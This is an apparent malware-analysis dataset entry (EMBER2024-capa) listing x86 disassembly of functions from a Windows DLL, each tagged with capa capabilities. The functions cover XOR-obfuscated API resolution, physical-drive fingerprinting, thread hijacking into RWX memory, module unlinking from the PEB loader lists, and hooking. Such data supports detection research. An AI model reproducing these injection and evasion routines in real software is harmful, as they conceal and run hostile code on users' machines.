joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001b560
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082830
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x50
mov eax, dword [0x100a2078]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x100a5655], 0
je 0x1001b755
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x100a56e8]
sbb edx, dword [0x100a56ec]
mov dword [ebp - 0x5c], edx
jne 0x1001b5cf
cmp eax, 0xbb8
jb 0x1001b755
call esi
movaps xmm0, xmmword [0x10098b00]
xor ecx, ecx
mov dword [0x100a56e8], eax
mov dword [0x100a56ec], edx
movups xmmword [ebp - 0x24], xmm0
nop dword [eax]
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xe
jb 0x1001b5f0
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.10002810
lea ecx, [ebp - 0x48]
call fcn.10061f70
add esp, 0x18
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x49], 0xa1
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x1000
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.1000da50
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1c]
mov edi, edx
mov ecx, dword [ebp - 0x20]
sub edi, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], vtable.Packet.0
cmp edi, 0x989680
ja 0x1001b6ba
lea esi, [eax + 1]
cmp edi, esi
jae 0x1001b6ad
push esi
lea ecx, [ebp - 0x20]
call fcn.1000d990
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dl, byte [ebp - 0x49]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
sub edx, ecx
mov byte [ebp - 4], 3
mov byte [ebp - 0x49], 0xa5
cmp edx, 0x989680
ja 0x1001b6ec
lea esi, [eax + 1]
cmp edx, esi
jae 0x1001b6e2
push esi
lea ecx, [ebp - 0x20]
call fcn.1000d990
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dl, byte [ebp - 0x49]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.1001d3b0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], eax
cmp ecx, 0x4000
ja 0x1001b731
mov eax, dword [0x100a5664]
mov dword [ebp - 0x5c], eax
mov ecx, dword ds:[0x10092d2c]
mov ecx, dword ds:[ecx]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
call dword [ebp - 0x5c]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.1000db50
mov eax, dword [ebp - 0x34]
cmp eax, 0x10
jb 0x1001b755
inc eax
lea ecx, [ebp - 0x48]
push eax
push dword [ebp - 0x48]
call fcn.100025f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10066135
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x1001b950
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100828c8
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x100a2078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x38], esi
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001b9bb
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
jmp 0x1001bb23
xorps xmm0, xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], fcn.1001bb50
mov dword [ebp - 0x24], edi
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
push 8
lea eax, [ebp - 0x30]
movq qword [ebp - 0x20], xmm0
push eax
push 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 0
push eax
push 0x2d1400
push edi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1001ba41
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], eax
cmp dword [esi + 0x14], 0x10
jb 0x1001ba30
mov eax, dword [esi]
jmp 0x1001ba32
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 4], 1
jmp 0x1001bb16
mov eax, dword [ebp - 0x2c]
push eax
mov dword [ebp - 0x38], eax
call fcn.10066734
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x1001ba66
push dword [ebp - 0x38]
push 0
push ebx
call fcn.10068b00
add esp, 0xc
jmp 0x1001ba68
xor ebx, ebx
mov dword [ebp - 0x34], ebx
push 0
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x38]
lea eax, [ebp - 0x20]
push ebx
push 0xc
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1001bac4
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x1001baa9
mov eax, dword [esi]
jmp 0x1001baab
mov eax, esi
mov byte [eax], 0
test ebx, ebx
je 0x1001babb
push ebx
call fcn.100661aa
add esp, 4
mov dword [ebp - 4], 3
jmp 0x1001bb16
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x1001bafc
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x1001bae5
mov eax, dword [esi]
jmp 0x1001bae7
mov eax, esi
push ebx
mov byte [eax], 0
call fcn.100661aa
add esp, 4
mov dword [ebp - 4], 4
jmp 0x1001bb16
add eax, ebx
mov ecx, esi
push eax
call fcn.10002810
push ebx
call fcn.100661aa
add esp, 4
mov dword [ebp - 4], 5
test edi, edi
je 0x1001bb23
push edi
call fcn.1001bb50
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10066135
mov esp, ebp
pop ebp
ret
Function at 0x10020940
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x100a2078]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x5d
mov dword [ebp - 0x2f8], 0x31290f5d
mov dword [ebp - 0x2f4], 0x393c3211
xor eax, eax
mov dword [ebp - 0x2f0], 0x342f290e
mov word [ebp - 0x2ec], 0x3a33
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1002099a
mov cl, byte [ebp - 0x2f8]
jmp 0x10020985
push ebx
mov byte [ebp - 0x2e8], 0xd
mov al, 0x63
xor al, byte [ebp - 0x2e8]
mov bl, 0x61
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x69
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x79
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x23
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x10020a61
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10066135
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10020a4f
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call fcn.10068b00
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10020a4f
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x10020a4f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10020a4f
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001f50
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10020a4f
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10066135
mov esp, ebp
pop ebp
ret
Function at 0x10020b30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x10099190]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x18], 0x2c360a30
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x3a3f3b
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x10020b56
mov byte [ebp - 0x10], 0x53
mov al, 0x3d
xor al, byte [ebp - 0x10]
mov bl, 0x3f
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x37
mov bh, ah
mov byte [ebp - 1], ah
xor bl, al
mov byte [ebp - 6], 0
xor ah, al
mov byte [ebp - 0x11], 0
xor bh, al
mov byte [ebp - 0xb], ah
mov dh, dl
mov byte [ebp - 0xc], bl
xor dl, al
mov byte [ebp - 8], bh
xor dh, al
mov byte [ebp - 0xd], dl
mov cl, 0x27
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 6], 0
mov ch, 0x7d
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0xf]
mov byte [ebp - 0xa], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x10020bdf
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x11
test esi, esi
jne 0x10020bfe
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10020c10
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x10020c4e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020c52
cmp edx, esi
jne 0x10020c37
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10020c72
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020c76
cmp edx, esi
jne 0x10020c5b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10020c96
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10020c9a
cmp edx, esi
jne 0x10020c7f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10020d50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082d40
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x100a2078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [str.hRtCUSKCrNTCGB]
xor eax, eax
movups xmmword [ebp - 0x44], xmm0
mov cl, byte [ebp - 0x44]
xor byte [ebp + eax - 0x43], cl
inc eax
cmp eax, 0xe
jb 0x10020d88
mov byte [ebp - 0x28], 0x65
mov al, 0xb
xor al, byte [ebp - 0x28]
mov bl, 9
mov ah, bl
mov byte [ebp - 0x27], al
mov al, byte [ebp - 0x28]
mov dl, 1
mov bh, ah
mov byte [ebp - 0x15], ah
xor bl, al
mov byte [ebp - 0x1e], 0
xor ah, al
mov byte [ebp - 0x35], 0
xor bh, al
mov byte [ebp - 0x23], ah
mov dh, dl
mov byte [ebp - 0x24], bl
xor dl, al
mov byte [ebp - 0x20], bh
xor dh, al
mov byte [ebp - 0x25], dl
mov cl, 0x11
mov byte [ebp - 0x21], dh
xor cl, al
mov byte [ebp - 0x1e], 0
mov ch, 0x4b
mov byte [ebp - 0x26], cl
xor ch, al
mov al, byte [ebp - 0x15]
xor al, byte [ebp - 0x28]
mov byte [ebp - 0x1f], al
lea eax, [ebp - 0x43]
push eax
lea eax, [ebp - 0x27]
mov byte [ebp - 0x22], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xd78dd4
mov edi, eax
call fcn.10017d30
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x10020f00
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push esi
call edi
test eax, eax
jns 0x10020e98
movaps xmm0, xmmword [0x10098910]
xor ecx, ecx
movups xmmword [ebp - 0x44], xmm0
mov word [ebp - 0x34], 0x440b
mov byte [ebp - 0x32], 0
nop
mov al, byte [ebp - 0x44]
xor byte [ebp + ecx - 0x43], al
inc ecx
cmp ecx, 0x11
jb 0x10020e50
lea eax, [ebp - 0x43]
mov byte [ebp - 0x32], 0
push eax
lea ecx, [ebp - 0x5c]
call fcn.10002810
lea ecx, [ebp - 0x5c]
mov dword [ebp - 4], 0
call fcn.1001b780
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x48]
cmp eax, 0x10
jb 0x10020e98
inc eax
lea ecx, [ebp - 0x5c]
push eax
push dword [ebp - 0x5c]
call fcn.100025f0
cmp dword [ebp - 0x14], 0
jbe 0x10020ef9
movaps xmm0, xmmword [0x10099800]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x6d6c6d67
mov word [ebp - 0x1c], 0x28
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x14
jb 0x10020eb8
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x1b], 0
push eax
lea ecx, [ebp - 0x74]
call fcn.10002810
lea ecx, [ebp - 0x74]
mov dword [ebp - 4], 1
call fcn.1001b780
mov eax, dword [ebp - 0x60]
cmp eax, 0x10
jb 0x10020ef9
inc eax
lea ecx, [ebp - 0x74]
push eax
push dword [ebp - 0x74]
call fcn.100025f0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10066135
mov esp, ebp
pop ebp
ret
Function at 0x10021590
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x100a2078]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov byte [ebp - 0x18], 0x43
mov al, 0x2d
xor al, byte [ebp - 0x18]
mov bl, 0x2f
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x27
mov bh, ah
mov byte [ebp - 9], ah
mov dh, dl
mov byte [ebp - 0xe], 0
xor dl, al
mov byte [ebp - 0xe], 0
xor bl, al
mov byte [ebp - 0x15], dl
xor ah, al
mov byte [ebp - 0x14], bl
xor dh, al
mov byte [ebp - 0x13], ah
xor bh, al
mov byte [ebp - 0x11], dh
mov cl, 0x37
mov byte [ebp - 0x10], bh
xor cl, al
mov ch, 0x6d
xor ch, al
mov byte [ebp - 0x16], cl
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x17]
push eax
mov byte [ebp - 0x12], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movaps xmm0, xmmword [0x10099950]
mov edx, eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x75706b
xor ecx, ecx
pop ebx
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x12
jb 0x10021616
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x19], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
mov edx, 0x10021020
mov ecx, eax
call fcn.10062040
add esp, 4
mov dword [0x100a570c], eax
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push 0x40
push 5
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10066135
mov esp, ebp
pop ebp
ret
Function at 0x100230c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082ed8
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push esi
mov eax, dword [0x100a2078]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [0x100a573c], eax
test edx, edx
je 0x100231af
cmp dword [ebp + 0xc], 1
jne 0x100231af
mov eax, dword [esi + 4]
test eax, eax
je 0x1002319b
cmp edx, eax
jne 0x1002319b
cmp byte [0x100a569a], 0
sete al
xor ecx, ecx
mov byte [0x100a569a], al
test al, al
je 0x10023156
movaps xmm0, xmmword [0x10098bc0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 3
nop
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x10
jb 0x10023140
mov byte [ebp - 0x23], 0
lea eax, [ebp - 0x33]
jmp 0x10023179
movaps xmm0, xmmword [0x10099720]
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 0x10], 0
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xf
jb 0x10023165
mov byte [ebp - 0x10], 0
lea eax, [ebp - 0x1f]
push eax
lea ecx, [ebp - 0x4c]
call fcn.10002810
mov dword [ebp - 4], 0
lea edx, [ebp - 0x4c]
mov ecx, dword [esi]
call fcn.10017a20
lea ecx, [ebp - 0x4c]
call fcn.100021c0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100233e0
Capabilities:
Access peb ldr_data
Get ntdll base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082f08
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100a2078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
or eax, 0xffffffff
mov byte [ebp - 0x20], 0
push dword [ebp - 0x20]
mov dword [esi + 0x38], eax
lea ecx, [ebp - 0x1c]
mov word [esi + 0x3c], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x20]
movq qword [ebp - 0x1c], xmm0
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x14], 0
push eax
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0xc], 0
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x2c], 0
mov dword [ebp - 0x2c], 0x350
mov dword [ebp - 0x28], 0x140
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
call fcn.10021b20
sub esp, 0xc
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.10021a80
mov ecx, 0xd78d54
call fcn.10017d70
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esp, 0xc
mov dword [esi], eax
push 4
push 0x4de1e6
call ebx
test eax, eax
jne 0x10023508
mov edx, 0x100246d0
mov ecx, 0x4de1e6
call fcn.1001b4e0
mov eax, dword [esi]
test eax, eax
je 0x10023574
push 4
push eax
call ebx
test eax, eax
jne 0x10023574
mov ecx, esi
call fcn.100235b0
cmp dword [0x100a574c], 0
jne 0x10023561
mov edi, dword [esi]
test edi, edi
je 0x10023549
push 4
push edi
call ebx
test eax, eax
jne 0x10023549
push 4
lea eax, [edi + 0x64]
push eax
call ebx
test eax, eax
jne 0x10023549
mov edi, dword [edi]
add edi, 0x64
jmp 0x1002354b
xor edi, edi
mov eax, dword [edi]
push 4
push eax
mov dword [0x100a574c], eax
call ebx
test eax, eax
jne 0x10023561
mov dword [edi], 0x10024700
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10023590
mov ecx, dword [ebp - 0x14]
sub ecx, eax
sar ecx, 2
push ecx
push eax
jmp 0x1002358b
mov ecx, dword [ebp - 0x1c]
mov dword [esi], 0
test ecx, ecx
je 0x10023590
mov eax, dword [ebp - 0x14]
sub eax, ecx
sar eax, 2
push eax
push ecx
call fcn.1000f4d0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10066135
mov esp, ebp
pop ebp
ret
Function at 0x10027810
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082df8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x100a2078]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov byte [ebp - 0x20], 0
lea eax, [ebp - 0x20]
push dword [ebp - 0x20]
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x28]
movq qword [ebp - 0x1c], xmm0
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x28], 0x1ec
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
call fcn.10021b20
sub esp, 0xc
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.10021a80
mov ecx, 0xd78d54
call fcn.10017d70
mov dword [esi], eax
add esp, 0xc
mov dword [esi + 0x24], 0
mov dword [esi + 4], 0
mov dword [esi + 0x28], 0
push 4
push eax
mov dword [esi + 8], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x20], 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x10027942
mov eax, dword [ebp - 0x1c]
mov dword [esi], 0
test eax, eax
je 0x100279c4
mov ecx, dword [ebp - 0x14]
sub ecx, eax
sar ecx, 2
push ecx
push eax
jmp 0x100279bf
mov ecx, esi
call fcn.100279e0
call fcn.10064d80
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10065250
push 0x10027c50
push 0x100a5794
call fcn.10064a90
call fcn.10064de0
push 4
push 0x62ed60
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x100279ae
mov dword [0x100a5794], 0x62ed60
call fcn.10064d80
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10065250
push 0x10027c50
push 0x100a5794
call fcn.10064600
call fcn.10064de0
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x100279c4
mov eax, dword [ebp - 0x14]
sub eax, ecx
sar eax, 2
push eax
push ecx
call fcn.1000f4d0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10066135
mov esp, ebp
pop ebp
ret